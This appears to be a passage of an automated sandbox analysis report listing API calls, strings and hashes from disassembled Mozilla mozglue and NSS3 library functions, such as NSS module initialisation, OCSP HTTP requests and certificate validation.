timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C973095

Part of subcall function 6C9735A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FF688,00001000), ref: 6C9735D5
Part of subcall function 6C9735A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9735E0
Part of subcall function 6C9735A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9735FD
Part of subcall function 6C9735A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C97363F
Part of subcall function 6C9735A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C97369F
Part of subcall function 6C9735A0: __aulldiv.LIBCMT ref: 6C9736E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C97309F

Part of subcall function 6C995B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9956EE,?,00000001), ref: 6C995B85
Part of subcall function 6C995B50: EnterCriticalSection.KERNEL32(6C9FF688,?,?,?,6C9956EE,?,00000001), ref: 6C995B90
Part of subcall function 6C995B50: LeaveCriticalSection.KERNEL32(6C9FF688,?,?,?,6C9956EE,?,00000001), ref: 6C995BD8
Part of subcall function 6C995B50: GetTickCount64.KERNEL32 ref: 6C995BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9730BE

Part of subcall function 6C9730F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C973127
Part of subcall function 6C9730F0: __aulldiv.LIBCMT ref: 6C973140

Part of subcall function 6C9AAB2A: __onexit.LIBCMT ref: 6C9AAB30

Memory Dump Source

Source File: 00000000.00000002.2769979134.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2768675564.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2770268184.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2770300560.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2770590433.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: a89c228e545dd288f330ab736a0b45352c27a36278ea1bf323cfc6a454b8df69
Instruction ID: 42de146e6d6d4090fffa5d769696378318457cbbfffda53b6e1066b83259dcd8
Opcode Fuzzy Hash: a89c228e545dd288f330ab736a0b45352c27a36278ea1bf323cfc6a454b8df69
Instruction Fuzzy Hash: F9F0F922D28B4C97CB10DF74A8411EE73B0AF7B11CF605319E86467651FF20A1D8C396

Non-executed Functions

Function 6CAA6E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CBF2120,6CAA7E60), ref: 6CAA6EBC
TlsGetValue.KERNEL32 ref: 6CAA6EDF
EnterCriticalSection.KERNEL32(?), ref: 6CAA6EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CAA6F25

Part of subcall function 6CA7A900: TlsGetValue.KERNEL32(00000000,?,6CBF14E4,?,6CA14DD9), ref: 6CA7A90F
Part of subcall function 6CA7A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CA7A94F

PR_Unlock.NSS3 ref: 6CAA6F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CAA6FA9
TlsGetValue.KERNEL32 ref: 6CAA70B4
EnterCriticalSection.KERNEL32(?), ref: 6CAA70C8
PR_CallOnce.NSS3(6CBF24C0,6CAE7590), ref: 6CAA7104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAA7117
SECOID_Init.NSS3 ref: 6CAA7128
PORT_Alloc_Util.NSS3(00000057), ref: 6CAA714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA71A9
PR_NotifyAllCondVar.NSS3 ref: 6CAA71CF
PR_Unlock.NSS3 ref: 6CAA71DD
free.MOZGLUE(?), ref: 6CAA71EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAA7208
free.MOZGLUE(00000000), ref: 6CAA7221
free.MOZGLUE(00000001), ref: 6CAA7235
TlsGetValue.KERNEL32 ref: 6CAA724A
EnterCriticalSection.KERNEL32(?), ref: 6CAA725E
PR_NotifyCondVar.NSS3 ref: 6CAA7273
PR_Unlock.NSS3 ref: 6CAA7281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CAA7291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA72B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA72D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA72E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA7301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA7310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA7335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA7344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA7363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAA7372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CBE0148,,defaultModDB,internalKeySlot), ref: 6CAA74CC
free.MOZGLUE(00000000), ref: 6CAA7513
free.MOZGLUE(00000000), ref: 6CAA751B
free.MOZGLUE(00000000), ref: 6CAA7528
free.MOZGLUE(00000000), ref: 6CAA753C
free.MOZGLUE(00000000), ref: 6CAA7550
free.MOZGLUE(00000000), ref: 6CAA7561
free.MOZGLUE(00000000), ref: 6CAA7572
free.MOZGLUE(00000000), ref: 6CAA7583
free.MOZGLUE(00000000), ref: 6CAA7594
free.MOZGLUE(00000000), ref: 6CAA75A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CAA75BD
free.MOZGLUE(00000000), ref: 6CAA75C8
free.MOZGLUE(00000000), ref: 6CAA75F1
PR_NewLock.NSS3 ref: 6CAA7636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CAA7686
PR_NewLock.NSS3 ref: 6CAA76A2

Part of subcall function 6CB598D0: calloc.MOZGLUE(00000001,00000084,6CA80936,00000001,?,6CA8102C), ref: 6CB598E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CAA76B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CAA7707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CAA771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CAA7731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CAA774A
DeleteCriticalSection.KERNEL32(?), ref: 6CAA7770
free.MOZGLUE(?), ref: 6CAA7779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAA779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAA77AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CAA77C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CAA77DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CAA7821
PORT_Alloc_Util.NSS3(?), ref: 6CAA7837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAA785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CAA786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CAA78AC
free.MOZGLUE(00000000), ref: 6CAA78BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CAA78F3
free.MOZGLUE(00000000), ref: 6CAA78FC
free.MOZGLUE(00000000), ref: 6CAA791C

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

Strings

kbi., xrefs: 6CAA7886
sql:, xrefs: 6CAA76FE
dbm:, xrefs: 6CAA7716
extern:, xrefs: 6CAA772B
Spac, xrefs: 6CAA7389
NSS Internal Module, xrefs: 6CAA74A2, 6CAA74C6
,defaultModDB,internalKeySlot, xrefs: 6CAA748D, 6CAA74AA
rdb:, xrefs: 6CAA7744
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CAA74C7
dll, xrefs: 6CAA788E

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: ca57b1ac3b6b63511018053b83b75e81fc0e064be3a8e482fb7e88eccbaf4255
Instruction ID: ff04a2d39c9c978e5ac43a39791ed2192ae83ca45a7628ffed6ed5a5366aedb8
Opcode Fuzzy Hash: ca57b1ac3b6b63511018053b83b75e81fc0e064be3a8e482fb7e88eccbaf4255
Instruction Fuzzy Hash: 1F5204B1E012519BEF118FA4DD057AF7BB4AF09308F184028EC19E7B55E731D99ACB92

Function 6CA9EA80 Relevance: 107.5, APIs: 49, Strings: 12, Instructions: 735stringmemoryCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(00000000), ref: 6CA9EAB1

Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590AB
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590C9
Part of subcall function 6CB59090: EnterCriticalSection.KERNEL32 ref: 6CB590E5
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59116
Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB5913F

PR_ExitMonitor.NSS3 ref: 6CA9EAC5

Part of subcall function 6CB59440: TlsGetValue.KERNEL32 ref: 6CB5945B
Part of subcall function 6CB59440: TlsGetValue.KERNEL32 ref: 6CB59479
Part of subcall function 6CB59440: EnterCriticalSection.KERNEL32 ref: 6CB59495
Part of subcall function 6CB59440: TlsGetValue.KERNEL32 ref: 6CB594E4
Part of subcall function 6CB59440: TlsGetValue.KERNEL32 ref: 6CB59532
Part of subcall function 6CB59440: LeaveCriticalSection.KERNEL32 ref: 6CB5955D

PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CA9EBAF
PR_Socket.NSS3(00000002,00000001,00000000), ref: 6CA9EBF8
PR_StringToNetAddr.NSS3(?,?), ref: 6CA9EC20
PORT_Alloc_Util.NSS3(00000800), ref: 6CA9EC39
PR_GetHostByName.NSS3(?,00000000,00000800,?), ref: 6CA9EC5A
PR_EnumerateHostEnt.NSS3(00000000,?,?,?), ref: 6CA9EC85
free.MOZGLUE(?), ref: 6CA9ECB6
PR_SetError.NSS3(FFFFE078,00000000), ref: 6CA9ECCF
free.MOZGLUE(?), ref: 6CA9ED10
free.MOZGLUE(?), ref: 6CA9ED26
PR_InitializeNetAddr.NSS3(00000000,?,?), ref: 6CA9ED35
PR_snprintf.NSS3(?,00000010,:%d,?), ref: 6CA9ED7F
PR_smprintf.NSS3(POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u,?,?,00000000,?), ref: 6CA9EDAB
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA9EDBE
free.MOZGLUE(00000000), ref: 6CA9EE9B
PR_smprintf.NSS3(GET %s HTTP/1.0Host: %s%s,?,?,00000000), ref: 6CA9EEB1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA9EEC0
free.MOZGLUE(00000000), ref: 6CA9EEE2
free.MOZGLUE(00000000), ref: 6CA9EEF2
free.MOZGLUE(?), ref: 6CA9EF15
free.MOZGLUE(?), ref: 6CA9EF27
realloc.MOZGLUE(00000000,-00000401), ref: 6CA9EF5C

Part of subcall function 6CA9E910: PL_strncasecmp.NSS3(?,http://,00000007), ref: 6CA9E93B
Part of subcall function 6CA9E910: PR_SetError.NSS3(FFFFE075,00000000), ref: 6CA9E94E

strstr.VCRUNTIME140(-000000F8,), ref: 6CA9F00C
strstr.VCRUNTIME140(00000000,6CBE010D), ref: 6CA9F03F
strchr.VCRUNTIME140(00000000,00000020), ref: 6CA9F055
PL_strncasecmp.NSS3(00000000,HTTP/,00000005), ref: 6CA9F06D
free.MOZGLUE(00000000), ref: 6CA9F07A
PR_SetError.NSS3(FFFFE077,00000000), ref: 6CA9F08A
strchr.VCRUNTIME140(?,00000020), ref: 6CA9F0AC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,200), ref: 6CA9F0C4
strchr.VCRUNTIME140(?,0000003A), ref: 6CA9F0FA
strstr.VCRUNTIME140(-00000002,6CBE010D), ref: 6CA9F124
PL_strcasecmp.NSS3(?,content-type), ref: 6CA9F13D
PL_strcasecmp.NSS3(?,content-length), ref: 6CA9F14F
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(?), ref: 6CA9F15F
PL_strcasecmp.NSS3(?,application/ocsp-response), ref: 6CA9F1A0
memcpy.VCRUNTIME140(00000000,?), ref: 6CA9F1CD
PR_SetError.NSS3(FFFFE077,00000000), ref: 6CA9F231
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000), ref: 6CA9F387
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6CA9F39C
free.MOZGLUE(00000000), ref: 6CA9F3A5
free.MOZGLUE(00000000), ref: 6CA9F3B1

Part of subcall function 6CA80F00: PR_GetPageSize.NSS3(6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F1B
Part of subcall function 6CA80F00: PR_NewLogModule.NSS3(clock,6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F25

Strings

POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u, xrefs: 6CA9EDA6
application/ocsp-request, xrefs: 6CA9EE25
HTTP/, xrefs: 6CA9F067
content-type, xrefs: 6CA9F137
GET, xrefs: 6CA9EB53
200, xrefs: 6CA9F0BB
content-length, xrefs: 6CA9F149
:%d, xrefs: 6CA9ED73
GET %s HTTP/1.0Host: %s%s, xrefs: 6CA9EEAC
POST, xrefs: 6CA9EB58, 6CA9EB81
application/ocsp-response, xrefs: 6CA9F19A
http, xrefs: 6CA9EB86

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$Value$Error$CriticalSection$EnterL_strcasecmpstrchrstrstr$AddrHostL_strncasecmpLeaveMonitorR_smprintfUtilmemcpystrlen$AllocAlloc_EnumerateExitInitializeItem_ModuleNamePageR_snprintfSizeSocketStringatoireallocstrcmp
String ID: 200$:%d$GET$GET %s HTTP/1.0Host: %s%s$HTTP/$POST$POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u$application/ocsp-request$application/ocsp-response$content-length$content-type$http
API String ID: 3957390022-1324771758
Opcode ID: 86d594f33c0a27e24ee3a69a54a16065d3ea24803f899e2ee7bd3bd53b79de89
Instruction ID: 35f7560d5ee9c4cda237f7d5d3dbf57e6c66de1498a32f8781b340284ed0d65e
Opcode Fuzzy Hash: 86d594f33c0a27e24ee3a69a54a16065d3ea24803f899e2ee7bd3bd53b79de89
Instruction Fuzzy Hash: B042D071A08341AFE7009F28EC86B5B7BE8BF45358F08482CF85987751E735D959CB92

Function 6CA9CA70 Relevance: 84.8, APIs: 56, Instructions: 849threadtimememoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CA9CB45
PORT_ZAlloc_Util.NSS3(00000040), ref: 6CA9CB5B
CERT_GetConstrainedCertificateNames.NSS3(?,00000010,?), ref: 6CA9CBEB
realloc.MOZGLUE(?,00000000), ref: 6CA9CC3B
PR_SetError.NSS3(FFFFE029,00000000), ref: 6CA9CD25
PR_GetCurrentThread.NSS3 ref: 6CA9CD35
CERT_FindCertIssuer.NSS3(?,00000001,?,00000001), ref: 6CA9CD74
CERT_CheckCertValidTimes.NSS3(?,00000001,?,00000000), ref: 6CA9CD9D
PR_GetCurrentThread.NSS3 ref: 6CA9CDBA
PR_SetError.NSS3(FFFFE01E,00000000), ref: 6CA9CDD2
PR_GetCurrentThread.NSS3 ref: 6CA9CDE9
PR_SetError.NSS3(FFFFE024,00000000), ref: 6CA9CE7C
PR_GetCurrentThread.NSS3 ref: 6CA9CE93
PR_SetError.NSS3(FFFFE025,00000000), ref: 6CA9CEC1
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CA9CF8F
memcmp.VCRUNTIME140(?,6CBB96B4,00000048), ref: 6CA9CFC8
PR_GetCurrentThread.NSS3 ref: 6CA9D071
CERT_GetCertTrust.NSS3(?,?), ref: 6CA9D091
PR_SetError.NSS3(FFFFE024,00000000), ref: 6CA9D0C6
PR_GetCurrentThread.NSS3 ref: 6CA9D0DD
PR_SetError.NSS3(FFFFE05A,00000000), ref: 6CA9D116
PR_GetCurrentThread.NSS3 ref: 6CA9D131
PR_SetError.NSS3(FFFFE014,00000000), ref: 6CA9D1D9
PR_SetError.NSS3(FFFFE014,00000000), ref: 6CA9D225
CERT_DestroyCertificate.NSS3(?), ref: 6CA9D410
PR_SetError.NSS3(FFFFE0B6,00000000), ref: 6CA9D44E
PR_GetCurrentThread.NSS3 ref: 6CA9D45E
PR_GetCurrentThread.NSS3 ref: 6CA9D1EC

Part of subcall function 6CA9C9A0: PORT_ArenaAlloc_Util.NSS3(00000000,00000018,?,00000001,00000000,?,6CA9D864,?,00000000,?), ref: 6CA9C9AE

PR_SetError.NSS3(FFFFE014,00000000), ref: 6CA9D285
PR_GetCurrentThread.NSS3 ref: 6CA9D298
PR_SetError.NSS3(FFFFE014,00000000), ref: 6CA9D2D7
PR_SetError.NSS3(FFFFE014,00000000), ref: 6CA9D330
PR_GetCurrentThread.NSS3 ref: 6CA9D34C
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CA9D392
CERT_DestroyCertificate.NSS3(?), ref: 6CA9D3BC
PR_SetError.NSS3(FFFFE00D,00000000), ref: 6CA9D3DF
PR_GetCurrentThread.NSS3 ref: 6CA9D3EE
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6CA9CE12

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_GetCurrentThread.NSS3 ref: 6CA9CE22
PR_GetCurrentThread.NSS3 ref: 6CA9CED8
memcmp.VCRUNTIME140(?,6CBB96FC,00000048), ref: 6CA9CFDC
CERT_GetCertTimes.NSS3(?,?,?), ref: 6CA9CFF6
PR_GetCurrentThread.NSS3 ref: 6CA9CDFD

Part of subcall function 6CB59BF0: TlsGetValue.KERNEL32(?,?,?,6CBA0A75), ref: 6CB59C07

PR_GetCurrentThread.NSS3 ref: 6CA9CE52
PR_SetError.NSS3(FFFFE014,00000000), ref: 6CA9D4C4
PR_SetError.NSS3(FFFFE014,00000000), ref: 6CA9D4E2
PR_GetCurrentThread.NSS3 ref: 6CA9D4EA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA9D515
PR_SetError.NSS3(FFFFE014,00000000), ref: 6CA9D52C
PR_GetCurrentThread.NSS3 ref: 6CA9D540
free.MOZGLUE(?), ref: 6CA9D567
CERT_DestroyCertificate.NSS3(00000000), ref: 6CA9D575
CERT_DestroyCertificate.NSS3(?), ref: 6CA9D584
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA9D592

Part of subcall function 6CAB06A0: TlsGetValue.KERNEL32 ref: 6CAB06C2
Part of subcall function 6CAB06A0: EnterCriticalSection.KERNEL32(?), ref: 6CAB06D6
Part of subcall function 6CAB06A0: PR_Unlock.NSS3 ref: 6CAB06EB

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CurrentErrorThread$CertificateDestroyUtil$Cert$Value$Alloc_Arena_Timesmemcmp$ArenaCheckConstrainedCriticalEnterEqual_FindFreeIssuerItemsNamesPublicSectionTrustUnlockValidfreerealloc
String ID:
API String ID: 3754541784-0
Opcode ID: 737e536a45d444a2f39ca441c9b7324096b4a587d6a38e0361f00b60f8da84fa
Instruction ID: 2586ca52130afdb362d4ed7011de8d8270c3556670899142f1c605e758dbd042
Opcode Fuzzy Hash: 737e536a45d444a2f39ca441c9b7324096b4a587d6a38e0361f00b60f8da84fa
Instruction Fuzzy Hash: 7C520271E183419BEB009F69CC42B5FB7E1AF8430CF184528F95997B61EB31E899CB52

Function 6CAE09B0 Relevance: 66.8, APIs: 44, Instructions: 817memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6CAE1AD3), ref: 6CAE09D5
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6CAE1AD3), ref: 6CAE09E9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAE0A18
PR_SetError.NSS3(00000000,00000000), ref: 6CAE0A30
memcpy.VCRUNTIME140(?,00000000,00000020,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAE0CC9
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAE0D05
EnterCriticalSection.KERNEL32(?), ref: 6CAE0D19
PR_Unlock.NSS3(?), ref: 6CAE0D36
free.MOZGLUE(?), ref: 6CAE0D75
TlsGetValue.KERNEL32 ref: 6CAE0DA1
EnterCriticalSection.KERNEL32(?), ref: 6CAE0DB5
PR_Unlock.NSS3(?), ref: 6CAE0DEB
PORT_Alloc_Util.NSS3(?), ref: 6CAE0DFF
PR_Unlock.NSS3(?), ref: 6CAE0E37
free.MOZGLUE(?), ref: 6CAE0E4E
PR_SetError.NSS3(00000000,00000000), ref: 6CAE0E6A
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CAE0E9A
TlsGetValue.KERNEL32 ref: 6CAE0F23
EnterCriticalSection.KERNEL32(?), ref: 6CAE0F37
PR_SetError.NSS3(00000000,00000000), ref: 6CAE0FC7

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_Unlock.NSS3(?), ref: 6CAE0FDE
TlsGetValue.KERNEL32 ref: 6CAE0FFA
EnterCriticalSection.KERNEL32(?), ref: 6CAE100E
PR_Unlock.NSS3(?), ref: 6CAE1050
PR_Unlock.NSS3(?), ref: 6CAE1073
TlsGetValue.KERNEL32 ref: 6CAE1087
EnterCriticalSection.KERNEL32(?), ref: 6CAE109B
PR_Unlock.NSS3(?), ref: 6CAE10B8
free.MOZGLUE(?), ref: 6CAE1113
PORT_Alloc_Util.NSS3(?), ref: 6CAE1151
free.MOZGLUE(?), ref: 6CAE11AB
TlsGetValue.KERNEL32 ref: 6CAE1296
EnterCriticalSection.KERNEL32(?), ref: 6CAE12AB
PR_Unlock.NSS3(?), ref: 6CAE12D9
TlsGetValue.KERNEL32 ref: 6CAE12F4
EnterCriticalSection.KERNEL32(?), ref: 6CAE130C
PR_Unlock.NSS3(?), ref: 6CAE1340
TlsGetValue.KERNEL32 ref: 6CAE1354
EnterCriticalSection.KERNEL32(?), ref: 6CAE136C
PR_Unlock.NSS3(?), ref: 6CAE13A3
TlsGetValue.KERNEL32 ref: 6CAE13BA
EnterCriticalSection.KERNEL32(?), ref: 6CAE13CF
PR_Unlock.NSS3(?), ref: 6CAE13FB

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

PR_SetError.NSS3(FFFFE040,00000000), ref: 6CAE141E

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

Memory Dump Source

